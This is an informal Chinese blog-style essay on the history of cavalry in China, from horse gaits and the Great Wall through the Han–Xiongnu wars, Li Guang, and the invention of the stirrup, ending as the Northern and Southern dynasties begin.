&lt;p&gt;讲到马这里的时候了，自然离不开后面的骑兵，但我们要知道，马其实并不是能一直跑的，马奔跑的时候有几种形态，是按照马蹄子的腾空来划分的&lt;/p&gt;
&lt;p&gt;现代马术中，马的运动主要分为几种不同的形态：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;步态（Walk）：这是最慢的步态，四脚依次接触地面，每次有三蹄在地面上。步态稳定、平缓。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;小跑（Trot）：小跑是一种较快的步态，马以“二步一组”的节奏移动，即两脚对角线成对地离地和着地。这种步态需要一定的平衡和节奏感。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;快跑（Canter或Lope）：快跑是一种快速且平滑的步态，马的三蹄轮流接触地面，有一个明显的悬空期。这种步态通常在马术比赛中使用，要求马具有良好的协调性和力量。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;4.疾跑（Gallop）：疾跑是马的最快步态，四蹄轮流接触地面，也有明显的悬空期。疾跑用于最高速度的奔跑，通常在赛马和一些速度要求的马术比赛中看到。&lt;/p&gt;
&lt;p&gt;但马这货就不一样了，这货一直吃，一直拉，一头一尾从来不闲着！&lt;/p&gt;
&lt;p&gt;有句话叫做“马不吃夜草不肥”，就是说马这货得特么连轴转的吃才能胖。&lt;/p&gt;
&lt;p&gt;你能吃就算了，更可恨的是，马粪酸性还大，不仅不能起到好肥料的作用，还祸害地！还特么随时随地的各种拉！&lt;/p&gt;
&lt;p&gt;一句话来形容，这货的能量转化水平极低还特么糟蹋土地！
养活一匹马的草场大约能养活几十只羊，看看人家喜羊羊多么可爱！&lt;/p&gt;
&lt;p&gt;而且马如果你想骑的话，是需要煽的（宫刑），不然马爷那脾气您根本上不去，轻轻松松踢死你。&lt;/p&gt;
&lt;p&gt;必须要在小马两岁的早春左右实施宫刑，随后还要有专业的遛马等一系列恢复手段。&lt;/p&gt;
&lt;p&gt;这就意味着为了让你能被骑我还得专门派个劳力去伺候你，我那地咋办！
再说田间地头就那么两步道，谁家烧的骑马下地干活啊！
所以不是说中原不能大规模养马，而是谁家也不至于败家到大好的土地和人力去养这么一帮败家玩意！
道理换算到游牧民族那其实也一样，他们也不愿意养这货，只是没办法，有打狼和迁徙以及放牧的刚性要求。
游牧民族养马群时也是由马倌将马群赶到草场不好的地方去单独管理的。&lt;/p&gt;
&lt;p&gt;认识打仗
打仗究竟是打什么呢？难道真的就像三国演义里面说的，两位大将先单挑个三百回合？然后获胜的一方带着小兵一路冲杀过去，就打赢了&lt;/p&gt;
&lt;p&gt;其实不然，打仗打的士兵的士气，士气崩了，人心散了，队伍就不好带了。
你不要以为，我自己拼死战到最后，就能获胜了，其实大部分时候，很多士兵是不情愿上战场的，毕竟家有妻儿老小，所以能跑就跑，五十步笑百步，还真不是开玩笑的，连我们的杰出的政治家管仲，不也当多很多次逃兵吗&lt;/p&gt;
&lt;p&gt;所以历史上才能屡次出现以少胜多的战役&lt;/p&gt;
&lt;p&gt;当然打输了也不意味着人都死光了，只是你的队伍散了，很多士兵走散了，所以经常会出现主将收拢残兵，继续作战&lt;/p&gt;
&lt;p&gt;不过，冷兵器战争确实挺残酷的，曾经在知乎上看到过一个问题，底下有个回答，说的时”春燕归，巢于林木“&lt;/p&gt;
&lt;p&gt;这句话其实是很耸人听闻的，你开始看觉得没什么，好像就是写景啊，春天来了，燕子都在树林里筑巢&lt;/p&gt;
&lt;p&gt;但细想下来你就会觉得不对劲，其实燕子是倾向于在居民的屋檐下筑巢的，那为啥燕子都在树林里呢？是因为人都死光了，连房屋都全部被烧毁了&lt;/p&gt;
&lt;p&gt;这还是记录的比较文艺的，更多的则是人相食&lt;/p&gt;
&lt;p&gt;春秋车战&lt;/p&gt;
&lt;p&gt;如果说打仗算是们艺术的话，那也只能是春秋时候了，我们知道，礼乐射御书数，这是君子六艺
御，骑马，驾驶战车冲锋，这是君子必须要掌握的技能。&lt;/p&gt;
&lt;p&gt;所以春秋时候的战争，还是更多的大家商量好地点，约一场架，打赢了的一方也不会赶尽杀绝&lt;/p&gt;
&lt;p&gt;来感受一下骑兵冲锋的魅力吧
https://www.bilibili.com/video/BV1a3411T72v/?spm_id_from=333.337.search-card.all.click&amp;amp;vd_source=15a2dc392ee5cfd2402320bee219d8e3&lt;/p&gt;
&lt;p&gt;骑兵作战技术的演化
早期骑兵：骑射技术
匈奴人则是最擅长骑射的，他们从小就生活在马背上&lt;/p&gt;
&lt;p&gt;司马迁记载：
&quot;儿能骑羊，引弓射鸟鼠；少长则射狐兔：用为食。士力能毌弓，尽为甲骑&quot;&lt;/p&gt;
&lt;p&gt;匈奴的战法也很有意思，
&quot;故其战，人人自为趣利，善为诱兵以冒敌。故其见敌则逐利，如鸟之集；其困败，则瓦解云散矣&quot;&lt;/p&gt;
&lt;p&gt;说的是匈奴人单兵作战都很猛，进攻的时候像一群鸟一样， 撤退的时候呢又像云一样快速散开&lt;/p&gt;
&lt;p&gt;春秋战国时候的兵种：步兵与骑兵，当然还有一个车兵
如果要追溯到骑兵的起源，想必很多熟读历史的朋友可能就要脱口而出：赵武灵王胡服骑射！
《史记 · 赵世家》中记载：
&quot;今吾将胡服骑射以教百姓，而世必议寡人，奈何?&quot;&lt;/p&gt;
&lt;p&gt;赵武灵王顶住了巨大压力，在赵国范围内推广胡服骑射，身体力行
战国时赵国所处的位置大抵是今山西及河北部分，它一方面要承担抵御匈奴的任务，另一方面要帮助山东六国抗衡秦国，其压力是可想而知的&lt;/p&gt;
&lt;p&gt;注意此时的骑兵本质为骑射手，即边骑马边射箭，那有人就要问了，射箭就射箭呗，为什么非要骑马射箭？&lt;/p&gt;
&lt;p&gt;可以先看一段视频，看看步兵是如何对阵骑射手的
【正确的骑兵打步兵方阵的办法，终于看到阵战了，阵型，对阵，专业。看了那么多古装剧战争场面，其他的基本上只要是打仗一上来就是打烂仗。】 https://www.bilibili.com/video/BV1dz4y1k7NF/?share_source=copy_web&amp;amp;vd_source=eb74eb1e105cb306ab17818712e795b8&lt;/p&gt;
&lt;p&gt;这个视频里面评论总结的很好了，这里就是赵国骑兵对阵秦国步兵
1、秦国步兵是防御阵型，盾手在前，矛戟在后，末尾是弩手，阵线弧形分布是为了最大可能避免骑兵侧面梯形切入阵线，而把防御阵型下的受保护的弩手和矛戟近其的可能夹在中间以保全。&lt;/p&gt;
&lt;p&gt;2、赵国骑兵有胡服骑射的典故，自武灵王改革以来尤善骑射及迂回作战，尤以短弓快马，秦卒追不得赶不上防不住，所以基本盘秦卒就是在挨打的阵势，并且挨打不是挨打就完了，战场上进行职业战争中，可以打不过，但深知逃不掉的时候，战尽最后一兵一卒也只是为了苟延残喘拖延时间，待得以逃脱生还的机会，最终在大部队有效驰援下，部分秦卒得以苟全性命。&lt;/p&gt;
&lt;p&gt;3、秦国步卒防御变阵也是为了应对赵国骑兵军阵尽出由整体化为小股游射而化为多个小阵型多方位防御，主要目的像如上所述，就是为了能死的慢点，尽可能拖延时间，苟全一时之机。&lt;/p&gt;
&lt;p&gt;4、骑兵游射最佳方案是包围目标阵型，不断游击绕行，以弓弩之利四面八方重围为机，消耗敌方人手，最终瓦解敌方阵势，在敌人显现出疲态和人员散乱下可以一鼓作气进行冲击阵型尔后分割敌人开始歼灭屠杀。&lt;/p&gt;
&lt;p&gt;骑射的威力，借用王者荣耀的英雄来打比方，就像后羿、鲁班这种短腿英雄开了疾跑，可以不断地风筝敌人，让需要近身攻击的战士，即普通士兵难以靠近&lt;/p&gt;
&lt;p&gt;但秦朝开国之初，此时匈奴部落还未统一，没有一个强有力的政权来领导各个部落，因此蒙恬才能“却匈奴七百余里，胡人不敢南下而牧马”&lt;/p&gt;
&lt;p&gt;这里有一个比较有意思的，即秦朝的统一反倒促进了匈奴部落的统一，为什么呢？战国时北方边境分别是秦、赵和燕。匈奴人可以在这三个国家之间分别贸易，市场还未统一，因此这一家价格不好就换另一家&lt;/p&gt;
&lt;p&gt;但是随着秦朝建立，匈奴人突然发现，怎么突然价格都是一个了，怎么还有一道长城全部连起来了&lt;/p&gt;
&lt;p&gt;”却匈奴七百余里，胡人不敢南下而牧马“&lt;/p&gt;
&lt;p&gt;长城这么矮究竟能拦住什么？&lt;/p&gt;
&lt;p&gt;在提到汉匈对决之前，我们有必要先了解一下长城。“乃使蒙恬北筑长城而守藩篱，却匈奴七百余里”
我们一提到长城，就会想到这个：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmUVeDKF1nUAHbbMgDErR3oQtYia2HLhUJmyhqif27mUt1.png&quot; alt=&quot;DraggedImage-2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但实际上，大部分长城是这样的，实际上就是土墙。
这道短短的土墙根本就拦不住人，但是拦得住马，游牧民族所依仗的就是高机动的马匹。
长城的第一个作用就是拦住匈奴人的马，你进来了但是没有马，那你面对的就是成建制的中原步兵，想都不用想，根本打不赢&lt;/p&gt;
&lt;p&gt;但是游牧民族还是可以毁掉这座墙，如果是十万人规模的入侵，当然可以，三下五除二就没了
这时候长城的第二个作用就出现了，它会迟滞你的入侵。&lt;/p&gt;
&lt;p&gt;在匈奴人拆除这道土墙的功夫，入侵的信息早就被一道道预警系统传到了中原内陆和沿线长城。人家可以从容的坚壁清野让你扑空并调人来堵你。战国时候赵国名将李牧就是靠这种方式来让匈奴人毛都抢不到&lt;/p&gt;
&lt;p&gt;所以在战国时候，由于秦、赵、燕三国的长城并没有完全连成一片，因此匈奴人还是有空子可以钻的
另外他们也可以和秦、赵、燕三国互相battle，进行边关贸易&lt;/p&gt;
&lt;p&gt;但是紧随着秦王扫六合，长城的第三个影响，也是最为深远的影响出现了，它连起来了&lt;/p&gt;
&lt;p&gt;连起来了，也就意味着匈奴人有一天突然发现，这道万里长城，居然没有一点缝隙可以钻？而且对面本来不是三个国家吗，怎么突然变成了一个国家？连谈判的资格都没有了，人家反倒是借此垄断起来了，恐怖的经济封锁开始了。&lt;/p&gt;
&lt;p&gt;这就好比美国联合世界上所有的国家抵制中国和俄罗斯，这时候中俄就只能团结在一起背靠背&lt;/p&gt;
&lt;p&gt;于是游牧民族也不得不开始报团取暖，因为不报团，就活不下去了&lt;/p&gt;
&lt;p&gt;因此从某种方面上来说，秦朝的统一，也促成了匈奴人的统一，这就是为什么，汉帝国和草原上的匈奴帝国，几乎在同一时间建立了&lt;/p&gt;
&lt;p&gt;最早的骑兵冲锋
我们知道赵武灵王胡服骑射也只是学习匈奴人的骑射，冲击骑兵真正大规模应用要等到卫青和霍去病，这个我们在后面讲&lt;/p&gt;
&lt;p&gt;但其实在楚汉相争之时，项羽可以说是第一位将骑兵大规模用在正面战场上的将领了，这一点连韩信都比不上，韩信在他的成名之作，背水一战中，所率领的骑兵也只是起到骚扰和奇袭的作用&lt;/p&gt;
&lt;p&gt;话说刘邦在韩信的指挥下，明修栈道暗度陈仓，重新获得关中的地盘，于是东出函谷关，一路上带着号称60w的兵马只捣项羽的老挝彭城&lt;/p&gt;
&lt;p&gt;此时项羽呢，正忙着在齐国平定叛乱，听到自己的老窝被别人给端了，一下子愣了，这个刘邦不是被我一脚踹到四川去了吗，怎么这么快就打出来了&lt;/p&gt;
&lt;p&gt;这时候你是项羽你也会犯难，救吧，这边平叛的兵力就不够了，不救的话自己的老窝又没了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXNpRLxX4wZUqosHcQdy2BomvDFtDsmw699L7qgBX4F1z.png&quot; alt=&quot;DraggedImage-3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而在项羽愣神的功夫，刘邦已经攻下了彭城，开始开party了
项羽最终决定，留下一位大将继续在齐国平叛，自己亲率3w骑兵，绕了个圈，没有走最近的沂水，3w骑兵直接攻破了刘邦手下樊哙的防线，直接就要冲到刘邦脸上来了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmQzrtuUaSwtcbhiAgq1vmk9J9PK3pM9XMKnSfMyLSKnEt.png&quot; alt=&quot;DraggedImage-4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;刘邦此时的心情就像蒋委员长一样，“你们都干什么去了？”（只不过教员四渡赤水直逼贵州是将军抽车，项羽打刘邦这个就是几乎要一步杀了）&lt;/p&gt;
&lt;p&gt;后面的事情就不展开了，总之刘邦抛妻弃子，最终在荥阳才稳固住防线，行程楚汉对峙的局面&lt;/p&gt;
&lt;p&gt;史记记载：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“项王乃西从萧,晨击汉军而东,至彭城，日中,大破汉军。”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;以及我们所熟知的，司马迁记录项羽最后的垓下败亡时刻&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;今日固决死，原为诸君快战，必三胜之，为诸君溃围，斩将，刈旗，令诸君知天亡我，非战之罪也。”乃分其骑以为四队，四向
令四面骑驰下，期山东为三处。於是项王大呼驰下，汉军皆披靡，遂斩汉一将&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;汉朝初年的窘境
汉初可以说是百废待兴，好巧不巧的是，由于秦始皇的长城大业，迫使匈奴人，在和汉朝建立几乎同时，也形成了自己的草原帝国&lt;/p&gt;
&lt;p&gt;而我们此时的汉高祖刘邦，就想来试试这个未来的敌人，看看实力咋样，果不其然，御驾亲征，在白登山被围了。史称白登之围&lt;/p&gt;
&lt;p&gt;自此直至汉武帝，汉朝一直都是能忍就忍，毕竟马匹资源不够，你这边步兵刚赶到，人家匈奴那群飞车党，已经抢完一把就跑了。你说这怎么打&lt;/p&gt;
&lt;p&gt;其实汉景帝之时，汉朝已经足够富裕了，但还是打不赢匈奴，为什么呢？这就要讲讲骑射为何呢么这么难了&lt;/p&gt;
&lt;p&gt;骑射为什么难？&lt;/p&gt;
&lt;p&gt;李广在一次出征匈奴的时候，只带了一百名左右的骑兵，突然遇见匈奴大军，此时李广说道：
&quot;广之百骑皆大恐，欲驰还走。广曰：“吾去大军数十里，今如此以百骑走，匈奴追射我立尽。&quot;
因为匈奴人从小就在马背上长大，因此他们的骑射技术是天生的，而骑射手本身就在于灵活性&lt;/p&gt;
&lt;p&gt;而汉朝初年，马匹数量有限，甚至都只能坐牛车，更谈不上在马背上还要射箭了
那么在马背上射箭就那么难吗？难，确实很难，在马镫发明之前（关于马镫的故事后面会讲到）&lt;/p&gt;
&lt;p&gt;难在哪里？随便说几个
1.上马
2.坐稳
3.拉弓瞄准
4.保持平衡&lt;/p&gt;
&lt;p&gt;如果不是天生就在马背上的匈奴人，&lt;/p&gt;
&lt;p&gt;汉朝当然也有，被司马迁捧上天的李广就是骑射高手，他所带领的部队也和匈奴人一样，没半点组织纪律&lt;/p&gt;
&lt;p&gt;汉匈战争：冲击骑兵的诞生
司马迁的局限性&lt;/p&gt;
&lt;p&gt;虽然司马迁很伟大，人固有一死，或重于泰山，或轻于鸿毛，司马迁的死是比泰山还重的
但奈何人都有自身的局限性，司马迁对于卫青霍去病的记录是少之又少，甚至连我们的初中历史课本，对于卫青和霍去病的贡献也只是简单的记录了下&lt;/p&gt;
&lt;p&gt;卫青与霍去病&lt;/p&gt;
&lt;p&gt;还是要来介绍一下卫青，卫青的姐姐是卫子夫，卫子夫是汉武帝宠幸的妃子，所以卫青算是汉武帝的姐夫。&lt;/p&gt;
&lt;p&gt;而卫青呢，其实是一个私生子，嗯没错，霍去病也是一个私生子。&lt;/p&gt;
&lt;p&gt;卫青、霍去病，这俩中国历史上的最强外戚天团，将步兵的战阵用于骑兵，开创了冲击骑兵的先河&lt;/p&gt;
&lt;p&gt;汉武帝是如何解题的&lt;/p&gt;
&lt;p&gt;好了，如果你是汉武帝，面对匈奴的难题，你手下有两位SSR级的武将卫青和霍去病，还有一位探险家张骞帮你开图，你要怎么去解这道题呢？&lt;/p&gt;
&lt;p&gt;我们先来看汉朝的边防线：&lt;/p&gt;
&lt;p&gt;注意，此时的河套地区（黄河百害，唯富一套），秦始皇曾经让蒙恬收复此地，但后来楚汉相争，这块底盘又被匈奴人控制了&lt;/p&gt;
&lt;p&gt;前面已经说了，每次匈奴人来进攻，汉朝就派军队去守，但是等你人到了，匈奴人早就跑的没影了&lt;/p&gt;
&lt;p&gt;汉武帝想要改变这种现状&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXiHUoLY9DP4r27qYr3rchax7SbtgsGeMucPHSqTWFr3r.png&quot; alt=&quot;DraggedImage-6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;对照实验&lt;/p&gt;
&lt;p&gt;既然手下有一堆将领，那就出击试一试，看看&lt;/p&gt;
&lt;p&gt;其实也是做实验，经过前几代的积累，到他这已经有钱了&lt;/p&gt;
&lt;p&gt;汉武帝算是精心挑选了这四个人，既有经验丰富，多次出征的李广，也有年纪轻轻的卫青
第一次出击，他分别派遣四位将领，卫青出上谷，公孙贺出云中，公孙敖出代郡，李广出雁门，各领一万骑兵&lt;/p&gt;
&lt;p&gt;最后的结果是：
结果这一轮对照实验下来，卫青获胜，甚至于在这时候，卫青就已经探索发明了突骑战法&lt;/p&gt;
&lt;p&gt;补充：冲击骑兵的物理学规律&lt;/p&gt;
&lt;p&gt;主要涉及到两条物理学规律
1.E=1/2mv2 即速度越快，动能越大
2.v相对=v1-v2 相对速度&lt;/p&gt;
&lt;p&gt;我们还记得匈奴人的战法吗？
利则进，不利则退，不羞遁走。
人人自为趣利，善为诱兵以冒敌。
故其见敌则逐利，如鸟之集；其困败，则瓦解云散矣。&lt;/p&gt;
&lt;p&gt;人家一看不对，第一反应是跑！是保自己的这条命！他们并没有中原政权那种拢住步兵方阵不被你冲垮的纪律性！
而纪律性这点，在中原民族千百年来的练兵方法指引下，根本不叫个事&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmRyDMNEowqro4NuzmE1MNSD9DTM1guLN8FSpWKVWtnsZc.png&quot; alt=&quot;DraggedImage-7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;收复河套地区&lt;/p&gt;
&lt;p&gt;果不其然，匈奴开始报复了，派大军再一次入侵上谷、渔阳等地
如果是你，你会派卫青去防御吗？
这一次汉武帝忍不下去了，好，既然你打这边，那我就打你的白羊部&lt;/p&gt;
&lt;p&gt;为什么不让卫青率军直接从长安北上呢？而是要先绕道雁门郡，再折而向西？
因为直接向北只能起到赶的作用，匈奴人是可以往北撤退的，没办法一次性歼灭敌人有生力量&lt;/p&gt;
&lt;p&gt;这一战，直接让卫青收复了河套地区，从此成为抗击匈奴的前线&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmP3hiXyr42b3h7DmjJXgh8dKcgqUWgAEvTwF1z3fQLPDk.png&quot; alt=&quot;DraggedImage-8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开图找盟友
这里就不细说了，其实就是派遣张骞出使西域，看看大月氏人愿不愿意一起抗击匈奴
当然大月氏人早就跑了，但是汉武帝得知，原来在广袤的西边，还有三十六个国家在不断地给匈奴输血&lt;/p&gt;
&lt;p&gt;这还得了，于是下一步自然而然的，打通河西走廊，联合西域诸国的方案开始提上日程&lt;/p&gt;
&lt;p&gt;河西四郡
收复河西走廊之战的示意图如下，这一战霍去病19岁...大漠扬威&lt;/p&gt;
&lt;p&gt;汉武帝为了防止在攻打河西走廊的时候，左贤王过来参战，于是派遣了李广和张骞先去进攻，但是张骞迷路了...不过好在李广毕竟是飞将军，面对四倍于自己的兵力硬是扛过来了&lt;/p&gt;
&lt;p&gt;单于本部此时远在漠北，但也得知了消息，于是南下骚扰，不过被汉军抵挡住了&lt;/p&gt;
&lt;p&gt;左路的公孙敖也迷路了..霍去病则是千里奔袭，翻过贺兰山，再穿越大沙漠，最后到达河西走廊的尽头，这都没迷路，只能说牛13了&lt;/p&gt;
&lt;p&gt;于是反向秃噜一遍，斩首匈奴人三万，彻底收复河西走廊，汉武帝置酒泉、武威、敦煌、张掖四郡，是为河西四郡（不得不说，汉武的命名是真的好听）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmXj5cVxgeFhFiNBR8sX699UodhoE989ggnznwJkfTSwLC.png&quot; alt=&quot;DraggedImage-9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;时间规律分析
除了上述说的几场大规模战役之外，中间还有数次小规模的侵略与反侵略。这里列举一些记录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;其明年秋，匈奴二万骑入汉，杀辽西太守，略二千馀人&lt;/li&gt;
&lt;li&gt;其秋，匈奴又入雁门，杀略千馀人。&lt;/li&gt;
&lt;li&gt;其秋，匈奴万骑入杀代郡都尉硃英，略千馀人&lt;/li&gt;
&lt;li&gt;其秋，匈奴大入定襄、云中，杀略数千人，败数二千石而去，&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;从上述记录你有没有发现一个问题，怎么tmd匈奴都是秋天来打呢？这里
这只是表象，深入分析后你就会发现，因为春夏是
此时就对了，来看汉武帝数次派遣将领出征匈奴的时间&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;其明年春，汉以卫青为大将军，将六将军，十馀万人，出朔方、高阙击胡&lt;/li&gt;
&lt;li&gt;其明年春，汉复遣大将军卫青将六将军，兵十馀万骑，乃再出定襄数百里击匈奴&lt;/li&gt;
&lt;li&gt;其明年春，汉使骠骑将军去病将万骑出陇西，过焉支山千馀里，击匈奴，&lt;/li&gt;
&lt;li&gt;其明年春，... 令大将军青、骠骑将军去病中分军，大将军出定襄，骠骑将军出代，咸约绝幕击匈奴。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;封狼居胥！漠南无王庭！&lt;/p&gt;
&lt;p&gt;最后这一战没啥好说的了，总之就是匈奴人已经被打蒙了，从此漠南无王庭！
但也就是这最后一站，李广自杀，飞将军陨落！&lt;/p&gt;
&lt;p&gt;这就是汉武帝面对匈奴难题的解决
历史是演化的，不是一蹴而就的，很多以事后诸葛亮来看的问题明明很容易解决，但放在当时那个环境就是想不出来&lt;/p&gt;
&lt;p&gt;但你要对阵匈奴可就没那么简单了，人家利则进，不利则退，等你集结起兵马，人家早就跑的没影了。所以先秦到西汉初年，基本都是依赖两种方式。其一是长城，通过长城来告警，来迟缓敌人进攻的时间，其二是和亲，你都是我姑爷了，那就不用打了吧&lt;/p&gt;
&lt;p&gt;但这都不够，于是经过多年的韬光养晦，刘彻这个最能做的皇帝就出来了，这里的作，既有褒义，也有贬义&lt;/p&gt;
&lt;p&gt;李广难封的悲哀
也不知道司马迁是不是故意的，在《史记 李将军列传》中，司马迁这么写：&lt;/p&gt;
&lt;p&gt;感觉司马迁就是在塑造一个小说形象一样，还在最开始埋下了伏笔，后来一语成谶，李将军终生未能封侯&lt;/p&gt;
&lt;p&gt;而文帝曰：“惜乎，子不遇时！如令子当高帝时，万户侯岂足道哉！”&lt;/p&gt;
&lt;p&gt;李广的出名的原因就在于他是骑射高手，同时他的悲哀也在于它是一名骑射高手。他就像一个传统的手艺人一样，在机械化、工业化都已经大行其道的当下，还在坚持传统的工匠精神（我不知道我这么类比对不对啊），但我觉得司马迁可能想表达出这个意思&lt;/p&gt;
&lt;p&gt;在那个时代，卫青、霍去病已经探索出了冲击骑兵的技战术，可李广还是坚持着老一套，我们可以说他是固执，但这是他最引以为傲的本领，这是连他的敌人匈奴人也都认可的&lt;/p&gt;
&lt;p&gt;因此李广出征匈奴，他肯定会被重点关照，匈奴人常常以数倍的兵力围攻他，让他一次又一次全军覆没&lt;/p&gt;
&lt;p&gt;单于素闻广贤，令曰：“得李广必生致之。”&lt;/p&gt;
&lt;p&gt;“少年十五二十时，步行夺得胡马骑”，其实就是讲的李广在一次全军覆没后，他被俘虏了，但是李广太有名了，匈奴人就像动漫里经常出现的反派一样，一定要抓活的...&lt;/p&gt;
&lt;p&gt;于是李广在被匈奴人俘虏抓获的时候，通过装死，骗过匈奴人的注意力，一个跃起，就夺走了匈奴人的一匹马，然后飞马逃回营地，并且挽弓射杀了好几个想要追上来的匈奴人&lt;/p&gt;
&lt;p&gt;不得不说李广的骑射技术是真的精湛，但打仗从来都不是靠一个人就能行的，&lt;/p&gt;
&lt;p&gt;所以这也是李广的悲哀，生不逢时，他要是出生在楚汉相争的时候，估计又是一个霸王项羽&lt;/p&gt;
&lt;p&gt;你怎么看待李广，如果你是汉武帝，你会愿意重用李广吗？&lt;/p&gt;
&lt;p&gt;三国两晋：马镫与汉化&lt;/p&gt;
&lt;p&gt;先来看马镫
卫青霍去病时代，中原政权终于探索出了突骑战法，将步兵的正面冲锋战术移植到了骑兵
所谓冲击骑兵，本质就是一人一匹马，加一根长枪，用腋下夹着，然后用手握紧，对阵敌阵冲锋
这里就有很明显的问题：
1.如何保持自身稳定
2.武器如何拔不出来怎么办&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSuuknh9UUr7C8kBBnEsPp5Hfky6T8d6XS4f4pHuMtDXG.png&quot; alt=&quot;DraggedImage-11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在卫青霍去病那个时代，没有马镫其实可行的，为什么呢？
因为战争的对象是匈奴人，匈奴人是会跑的，所以汉军只要疯狂向前冲就行了，草原民族的天生基因就是一个个松散的个体在战斗，又怎么可能是全速冲刺的骑兵的对手
这样一来马镫是否需要也无所谓了，只要能冲上去，汉军个个都是杀神，原先匈奴引以为傲的战法，在汉军一轮轮的冲锋下，简直是进入到了死神的领域中&lt;/p&gt;
&lt;p&gt;但是历史是演变的，东汉末年开始，骑兵的作战对象不再是只会跑的匈奴人，而是开始直面步兵&lt;/p&gt;
&lt;p&gt;比如如下这个，看你作为骑兵你敢不敢冲锋，冲进去就是找死(这场景下只要长矛阵将前几排的人死命把前排的马戳死，后排上来的骑兵不是被绊倒就是要减速。)&lt;/p&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1gx411B7oX/?spm_id_from=333.337.search-card.all.click&amp;amp;vd_source=15a2dc392ee5cfd2402320bee219d8e3&lt;/p&gt;
&lt;p&gt;骑兵是可以冲击步兵，但不是正面啊喂，是侧翼
但尽管是侧翼，现在你冲锋的对象已经是一个静止的物体了，速度为0，即便你冲锋进去了，你也要承受冲击带来的反作用力&lt;/p&gt;
&lt;p&gt;为了对抗此类反作用力，最早的思路就是加高马鞍
但是吧，马鞍变高后，虽然被后坐力顶下去的可能性降低了，但骑兵上马又成了问题。&lt;/p&gt;
&lt;p&gt;骑兵上马一直都是一个技术活，老将军廉颇甚至拿来炫技&lt;/p&gt;
&lt;p&gt;廉颇为之一饭斗米，肉十斤，被甲上马，以示尚可用&lt;/p&gt;
&lt;p&gt;当然还有一个原因，此时来自中国南方的将领们开始走上前线，著名的就是孙坚孙策孙权
南方人可能没有北方人那么高大，比如我是吧（不是地域黑），&lt;/p&gt;
&lt;p&gt;坊间也流传着这样的笑话，马镫最开始是为了帮助孙权同志那种小短腿骑上马的&lt;/p&gt;
&lt;p&gt;自然而然的，辅助上马的马镫开始出现，最早是作为单马镫，我们从考古推测出此时的马镫只是作为辅助骑手上马使用的，骑上之后就不用马镫了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/QmSkho4WWF3ABFYFXhQsjXRvHprfvBkQ2NAv48xK8fVvny.png&quot; alt=&quot;DraggedImage-12&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是，当骑手在实行突击战法的时候，一旦发现一只脚踩住单马镫能够更稳的坐在马背上获得一部分支撑力的时候，双马镫的发明，就不远了！&lt;/p&gt;
&lt;p&gt;再来讲汉化&lt;/p&gt;
&lt;p&gt;前面我们说了，匈奴就算统一了，其内部的中央集权也远远比不上中原民族，单于首领是无法强制他们的部下冲锋的，但是我们汉民族就不一样了&lt;/p&gt;
&lt;p&gt;我最喜欢的一个up主，渤海小吏写过一段话，我还挺喜欢的，他说跟匈奴比骑射，我们永远也比不上，&lt;/p&gt;
&lt;p&gt;但是，跟你比纪律，比团结一致向前看，比总能量的集中调度，你们比我们差了上千年！
我们是治水杠黄河的民族！
我们是基建狂魔造长城的民族！
我们是打过上百万规模战争的民族！
我们是所有适龄男子在一声令下驰援长平战场包饺子的民族！
在这片土地，这个民族所最令人害怕的战争力量从来不是个体的天赋异禀！
而是成百上千人旗帜鲜明整齐划一所聚拢迸发出的恐怖力量&lt;/p&gt;
&lt;p&gt;这段话，很清楚地讲明白了中央集权能够在这片土地上存在，是有其必然性的&lt;/p&gt;
&lt;p&gt;其实隐藏在南北战争的背后，还有一条草蛇灰线，那就是汉化，少数民族想要入主中原，谁汉化的足够彻底，足够明白了，学会编户齐民了，你得血才能源源不断地抽上来，你必须汉化军制把纪律这事搞定了，才谈得上顶级战斗力&lt;/p&gt;
&lt;p&gt;两晋之后的五胡乱华，匈奴、鲜卑、羯、氐、羌，这五个少数民族，正式凭借着不断熟悉冲击骑兵战术，以及自身政权组织的不断汉化，才能入主中原&lt;/p&gt;
&lt;p&gt;南北朝：大规模的骑兵对战
南北朝时期，北方冲击骑兵的技战术已然成行，由于南北朝的历史太过庞大复杂，无法展开，我们就以几场战役，来看看南北方是如何作战的吧&lt;/p&gt;
&lt;p&gt;如果想要详细了解南北朝的历史，可以先看B站up 安州牧的《一口气看完170年的乱世南北朝》&lt;/p&gt;
&lt;p&gt;经典的南北战役
还是要先来复习一下中国的九宫格地图：&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/QmU4wTdJH46o4nUWk9TnSAtipWzqct2UoX68yjNDvujqRe.png.png&quot; alt=&quot;DraggedImage-13&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;金戈铁马，气吞万里如虎
公元409年，即将取代东晋王朝建立刘宋的刘裕大将军上表请求北伐
